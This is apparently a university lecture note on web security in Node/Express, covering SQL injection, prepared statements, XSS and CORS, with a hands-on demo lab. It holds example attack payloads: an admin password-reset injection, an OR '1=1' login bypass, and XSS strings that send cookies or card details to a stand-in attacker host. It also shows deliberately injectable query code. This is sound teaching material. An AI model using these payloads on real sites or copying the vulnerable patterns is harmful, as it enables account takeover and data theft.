Topic 11: Common Security Issues in Web Development

In this lecture we will look at security issues, including:

SQL Injection
Prepared Statements
Cross-Site Scripting and how to prevent it

Note that the lecture will be accompanied by live examples, demonstrating the exploits - so you should make every effort to either attend the lecture live or watch the recording later. If you read the notes alone, you will get less value from this topic.

Firstly, why security?

Obviously to protect credit card details and passwords
Preventing "spam" on mailing lists or forums
Site vandalism: preventing deletion of legitimate content by unauthorised users
Confidentiality: many personal details are covered by GDPR

SQL Injection

A subtle but potentially dangerous security issue
A cracker could potentially enter an SQL query in an HTML form and grab confidential data, or even modify or delete a table!

e.g. if we had code such as the following (an unsafe method of executing an SQL query):

// ... connect to database ...
const stmt = db.prepare(`select * from details where name='${req.params.name}'`);

If the user entered in the form the following:

Fred'; UPDATE users SET password='cracked' 
WHERE username='admin

the query generated would be:

SELECT * FROM details WHERE name='Fred'; 
UPDATE users SET password='cracked' 
WHERE username='admin'

with potentially devastating results!!!

Another example

Imagine a login script to a banking site with code such as that below, which displays your card details:

const stmt = db.prepare(`SELECT * FROM users where password='${req.body.password}' AND username='${req.body.username}'`);
const results = stmt.run();
html = "";
results.forEach ( result => {
	html += `Credit card: ${result.creditcard} Expiry date: ${result.expiry}<br />`;
});
res.send(html);

and you logged in with:

Username: fish' OR '1=1
Password: password

The login script (a standard login script like you did last week) will run this SQL query:
```
 SELECT * FROM users WHERE password='password' AND username='fish' OR '1=1' 
```
This means: select all records from the users table where:

EITHER the password is 'password' AND the username is 'fish' (probably no results!)

OR 1=1 (which is always true)
The second condition (1=1) will always be true so it will return all records in the users table, including their credit card details!

Prepared statements and placeholders to prevent SQL injection

We have in fact been writing our code in a manner to prevent SQL injection all along. If you look at the code above, you will see it is unlike the code we've been developing so far. We've been using prepared statements with placeholders, which prevents SQL injection occurring. With prepared statements, the SQL statements are compiled (prepared) into a binary form, which is executed more rapidly by the database, and this binary form is cached and thus can then be re-used, improving the efficiency of your application. The placeholders (?) are replaced by the specified input parameters, and this method is not vulnerable to SQL injection.

Cross-site scripting (XSS)

A subtle, easily-overlooked, but widely-exploited, security risk with untested input to a web application
Attackers link to your site from phishing websites or emails advertising your site
However, their links contain dangerous code embedded within a URL as a parameter
This code can include:
- JavaScript code to perform a harmful action such as steal your cookies (including your session ID, with the result that someone could access your account)
- Fake HTML hyperlinks or forms
If your site displays the input (and many sites do), your site will be fooled into running the injected code
A very difficult problem to completely eliminate!

Basic, non-harmful XSS example

The usual way in which XSS attacks are done involve injecting harmful JavaScript
This can be done by injecting <script> tags into the site, for example via hidden form fields or parameters within a link

Simple example (not harmful) of a link on a "special offers" site:

<form method="post" action="https://hittastic.example.com/buy" />
<input type="hidden" name="id" 
value="1<script>alert('666 I am evil')</script>" />
<input type="submit" value="Buy From Hittastic!"/>
</form>

If the script sends back the input:
```
res.send(`You have selected the CD with ID ${req.body.id}`);
```
then the script would unwittingly send to the browser the <script> tag stored in the form's hidden field, as it is part of the POST parameter req.body.id (which corresponds to the <input> field with a name of id, i.e. the hidden field). So. it would send
```
You have selected the CD with ID 1<script>alert('666 I am evil')</script>
```
...and when the browser receives the <script> tag, it would run the JavaScript inside, because browsers process all tags returned from the server
Result: user sees the message "666 I am evil" as a popup in their browser

Fake forms

A more dangerous example (included in the live demo during the lecture) is injection of a fake HTML form into the genuine site, so that a <form> tag is used in the attack rather than a <script> tag. In this form of attack, the user will be fooled into thinking that the form is provided by the genuine site, and might then enter their credit card details... which will be sent straight back to the attacker!

For example:

<input type="hidden" name="id" 
value="17<form action=http://evilcrackers.example.com/steal>Input credit card:
<input name=creditcard /></form>" />

XSS and Cookie Theft with Embedded JavaScript

This is an even more dangerous XSS attack, involving embedded JavaScript within the links, which could steal user's cookies, including potentially, session cookies. For example the hidden field could contain this:

<input type="hidden" 
name="id" 
value="123<script>window.location='http://evilcrackers.example.com/stealcookie/' 
+ document.cookie</script>" />

Now the ID contains some embedded JavaScript to set the user's current web page (window.location) to evilcrackers.example.com/stealcookie and sends user's cookies (accessible in JavaScript using document.cookie) to this URL
The user will be taken to HitTastic!, but, as the ID is echoed out, the JavaScript will immediately run (as in the first example) and redirect the user to evilcrackers.example.com
The owners of evilcrackers.example.com/stealcookie will then have the session ID and can impersonate the original user by copying the session ID to their own cookies; the genuine website will then think they are the attacked user
If evilcrackers.example.com are really nasty, they could then redirect the user straight back to HitTastic!, so the user will be unaware of the entire process

Hidden XSS attacks with URL encoding

Normally the XSS crackers go to greater lengths than the above, to hide their attack and make it non-obvious
It's possible to encode the entire injected JavaScript as URL encoded characters (e.g the letter 'a' would be encoded as %61, its ASCII code in hexadecimal, or the character '!' would be encoded as %21)
When the user moves over the harmful link, the injected JavaScript would appear as the URL-encoded version such as
```
%3Cscript%3Ealert%28666%29%3C%2Fscript%3E
```
However, the server would decode the URLs (e.g. convert %61 back to 'a') and treat the injected code as the actual JavaScript:
```
<script>alert(666)</script>
```
meaning the attack still takes place

XSS attacks in a database

A further way in which XSS can be done is by storing harmful JavaScript code in a database (e.g. adding it through form input which is then stored in a database)
The XSS will only occur when the contents of the database are echoed out, later
For this reason you should either validate input to a database, or guard against XSS when outputting data (as this will not depend on where the XSS attack has come from)

Guarding against basic XSS attacks: using the Node xss module

Node makes it easy to guard against XSS attacks using the xss module. With this, you can sanitise any input before it's output again. This invoves replacing characters with special meaning to HTML, such as < and > with their HTML entities, such as < and >. The attack relies on the browser receiving HTML tags in the response, so if these are sanitised, the browser will not interpret them as tags and the attack cannot take place. For example:

import xss from 'xss';
import express from 'express';
const app = express();
app.get('/', (req, res) => {
    const sanitised = xss("<script>alert('666 I am evil!');</script>");
    res.send(sanitised);
});
app.listen(3000);

If the XSS sanitisation had not occurred, then the HTML

<script>alert('666 I am evil!');</script>

would be sent back to the client, and the browser would execute the JavaScript inside the script tags. However with the use of the xss module, the browser receives instead:

&lt;script&gt;alert('666 I am evil!');&lt;/script&gt;

and the browser will not interpret <script> as a script tag, so the attack will not take place.

It's also of note that if you use EJS, this sanitisation takes place automatically when you render (without the need for the xss module), as long as you use <%= rather than <%- to render data.

Using regular expressions in routes

Another way of guarding against XSS attacks is to restrict the characters allowed in a route. This can be done through the use of regular expressions. Regular expressions are a special syntax which are used to detect certain patterns in text (e.g. numbers, letters, or a mix of numbers and letters). For example:

app.post('/song/buy/:ID(\\d+)', (req, res) ...

The \\d+ is a regular expression specifying one or more digits, so if the ID contains anything other than digits it will not match the route.

Simple regular expressions

```
^[0123456789]+$
```
This regular expression will match one or more digits 0 to 9 in an input string
^ means the beginning of our text; $ means the end of our text
+ means "one or more of"
[ ane ] define a group of accepted characters
A simpler way of doing the above example is to use - to define a range of allowed characters:
```
^[0-9]+$
```
A similar example matches one or more digits or upper or lower-case letters:
```
^[0-9A-Za-z]+$
```
and this one will also match underscores:
```
^[0-9A-Za-z_]+$
```

More simple regular expressions

^\w\w\w\w\w\s\w\w\w\w\w$

This regular expression will match two five-letter words separated by a single "white space" (space or tab)
^ means the beginning of our text; $ means the end of our text
\w means any letter, number or underscore; \s means any "white space" (space or tab)

^\w{5}\s\w{5}$

This is shorthand for the above; \w{5} means "match five letters, numbers or tabs"

^\w+\s\w+$

This regular expression will match two words of any length separated by a single "white space"
As we have seen, + means "one or more of the preceding element"; i.e. \w+ means "one or more letter, number or underscore"

More on regular expressions

See the documentation for more information on using regular expressions in routes.

XSS, AJAX and CORS

Imagine an XSS attack that takes place over AJAX, in other words a phishing site includes an AJAX-based form to access a legitimate site. Due to the same-origin policy, this would not be allowed by default. For example if evilcrackers.example.com included AJAX forms on their phishing site and tried to send an AJAX request to hittastic.example.com, it would be blocked because the request is from a different server. This is the basis of the same-origin policy and illustrates why it is applied by default, to reduce the risk of XSS and other similar attacks.

This is why you need to be careful when using CORS, which if you remember, is a way of circumventing the same-origin policy. You should generally avoid opening up all routes of your application to all clients, as it would then make your site vulnerable to AJAX-based XSS attacks. Instead, only open up low-risk endpoints, such as those which do not change any data and do not reveal confidential information. Also, you should explicitly specify the list of allowed clients with CORS if you are concerned about XSS, rather than the wildcard * which allows any client to connect.

General security, privacy and usability recommendations

I would like to finish with a few recommendations when developing web applications, to take into account security, privacy and usability. These include:

Ensure your code is protected from common security attacks, such as SQL injection and XSS. Test your own application and try to deliberately exploit it.
Ensure that passwords are stored as a hashed (unreadable) form in your database, to prevent them being stolen. You can use Node's bcrypt module for this as we saw in the sessions topic.
Use an HTTPS server when dealing with confidential data, including not only login information and card details, but also personal data. HTTPS encrypts confidential data when it is sent from client to server and vice-versa. It's now easy to setup an HTTPS server with Let's Encrypt.
Ensure that your application works across common contemporary browsers, including Firefox, Chrome, Edge and Safari. Use only standard web APIs, and not browser-specific extensions. Some web developers do not support Firefox, which can be a great annoyance to users of that browser.
Ensure you test your site with common ad-blockers, such as uBlock Origin, enabled. Ensure your site works with "Strict" privacy enabled. Ad-blockers and strict privacy levels are used by many users to guard against at best annoying, and at worst dangerous and privacy-invading, invasive popup ads. Morally, if perhaps not legally, core functionality must still work when a user takes these measures.

Unfortunately some web developers ignore the last point in particular, so much so that making payments on certain sites operated by very well-known companies are impossible with ad-blocker enabled.

In summary...

XSS attacks can occur in a number of different places in your code
Choose an appropriate XSS prevention technique depending on the context (normal dynamic HTML data, dynamic JavaScript, dynamic URLs etc)
Security libraries can help as XSS prevention is built into them automatically

Hands-on session for today

The source code for the live examples can be found on GitHub. Note that the phishing site uses port 3001, rather than port 3000 - to highlight the fact that it is an entirely separate site.

You should clone the repository:

git clone https://github.com/nwcourses/SecurityDemo

and then install the dependencies with

npm install

There are two servers, as described on the GitHub page; foloow the instructions there.

We will then try out an SQL injection attack and XSS attack, and then modify the code to prevent them happening.